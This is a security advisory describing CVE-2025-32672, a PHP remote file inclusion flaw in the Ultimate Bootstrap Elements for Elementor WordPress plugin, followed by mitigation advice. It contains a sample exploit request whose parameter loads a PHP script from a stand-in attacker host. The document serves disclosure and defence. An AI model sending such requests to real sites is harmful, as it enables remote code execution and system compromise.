CVE-2025-32672: Critical PHP Remote File Inclusion Vulnerability in Ultimate Bootstrap Elements for Elementor

Overview

CVE-2025-32672 is a critical vulnerability that affects the Ultimate Bootstrap Elements for Elementor, a popular WordPress plugin used for website customization. The vulnerability lies in the improper control of a filename for the Include/Require statement in a PHP program, which can potentially lead to remote file inclusion. If successfully exploited, this vulnerability could give attackers the ability to compromise systems, leak sensitive data, or cause other serious consequences.
This vulnerability is of high concern to website administrators, developers, and others who utilize the Ultimate Bootstrap Elements for Elementor, as it can lead to significant security breaches if left unpatched.

Vulnerability Summary

CVE ID: CVE-2025-32672
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Ultimate Bootstrap Elements for Elementor | n/a to 1.4.9

How the Exploit Works

The exploit takes advantage of a flaw in the PHP code where the filename for an Include/Require statement in the program isn’t properly controlled. This can lead to PHP Remote File Inclusion (RFI), where an attacker can manipulate the input data to include a remote file from an external server. The included file can contain malicious PHP code that gets executed by the server, potentially leading to unauthorized system access or data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a specially crafted request that includes a reference to a remote file, as shown in this conceptual example:

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-website.com

In this case, `http://attacker.com/malicious.php` is a malicious PHP script hosted by the attacker. The server executes the included file, causing the actions specified in the malicious script.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor-released patch as soon as possible. If a patch is not yet available or cannot be immediately applied, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary protection by blocking suspicious requests. Regularly updating and patching software, minimizing the use of third-party plugins, and using secure coding practices can also help prevent this and similar vulnerabilities.